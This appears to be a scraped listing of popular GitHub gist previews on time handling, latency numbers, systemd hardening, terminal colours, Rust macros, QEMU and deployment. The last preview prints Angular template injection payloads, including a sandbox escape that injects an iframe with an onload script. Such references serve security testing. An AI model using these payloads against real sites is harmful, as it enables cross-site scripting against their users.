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timvisee / falsehoods-programming-time-list.md
Last active April 14, 2024 19:41
Falsehoods programmers believe about time, in a single list

Falsehoods programmers believe about time

This is a compiled list of falsehoods programmers tend to believe about working with time.

Don't re-invent a date time library yourself. If you think you understand everything about time, you're probably doing it wrong.

Falsehoods

  • There are always 24 hours in a day.
  • February is always 28 days long.
  • Any 24-hour period will always begin and end in the same day (or week, or month).
@jboner
jboner / latency.txt
Last active April 14, 2024 18:51
Latency Numbers Every Programmer Should Know
Latency Comparison Numbers (~2012)
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L1 cache reference 0.5 ns
Branch mispredict 5 ns
L2 cache reference 7 ns 14x L1 cache
Mutex lock/unlock 25 ns
Main memory reference 100 ns 20x L2 cache, 200x L1 cache
Compress 1K bytes with Zippy 3,000 ns 3 us
Send 1K bytes over 1 Gbps network 10,000 ns 10 us
Read 4K randomly from SSD* 150,000 ns 150 us ~1GB/sec SSD
@ageis
ageis / systemd_service_hardening.md
Last active April 14, 2024 17:22
Options for hardening systemd service units

security and hardening options for systemd service units

A common and reliable pattern in service unit files is thus:

NoNewPrivileges=yes
PrivateTmp=yes
PrivateDevices=yes
DevicePolicy=closed
ProtectSystem=strict
@HaleTom
HaleTom / print256colours.sh
Last active April 14, 2024 13:35
Print a 256-colour test pattern in the terminal
#!/bin/bash
# Tom Hale, 2016. MIT Licence.
# Print out 256 colours, with each number printed in its corresponding colour
# See http://askubuntu.com/questions/821157/print-a-256-color-test-pattern-in-the-terminal/821163#821163
set -eu # Fail on errors or undeclared variables
printable_colours=256
@staltz
staltz / introrx.md
Last active April 12, 2024 16:37
The introduction to Reactive Programming you've been missing
@cellularmitosis
cellularmitosis / README.md
Last active April 12, 2024 16:35
QEMU PowerPC G4 OS X Tiger (10.4) setup
@Kestrer
Kestrer / how-to-write-hygienic-macros.md
Created October 17, 2020 05:35
A guide on how to write hygienic Rust macros

How to Write Hygienic Rust Macros

Macro hygiene is the concept of macros that work in all contexts; they don't affect and aren't affected by anything around them. Ideally all macros would be fully hygienic, but there are lots of pitfalls and traps that make it all too easy to accidentally write unhygienic macros. This guide attempts to provide a comprehensive resource for writing the most hygienic macros.

Understanding the Module System

First, a little aside on the details of Rust's module system, and specifically paths; it is

@domenic
domenic / 0-github-actions.md
Last active April 8, 2024 23:35
Auto-deploying built products to gh-pages with Travis

Auto-deploying built products to gh-pages with GitHub Actions

This is a set up for projects which want to check in only their source files, but have their gh-pages branch automatically updated with some compiled output every time they push.

A file below this one contains the steps for doing this with Travis CI. However, these days I recommend GitHub Actions, for the following reasons:

  • It is much easier and requires less steps, because you are already authenticated with GitHub, so you don't need to share secret keys across services like you do when coordinate Travis CI and GitHub.
  • It is free, with no quotas.
  • Anecdotally, builds are much faster with GitHub Actions than with Travis CI, especially in terms of time spent waiting for a builder.
@mccabe615
mccabe615 / AngularTI.md
Last active April 1, 2024 16:21
Angular Template Injection Payloads

1.3.2 and below

{{7*7}}

'a'.constructor.fromCharCode=[].join;
'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';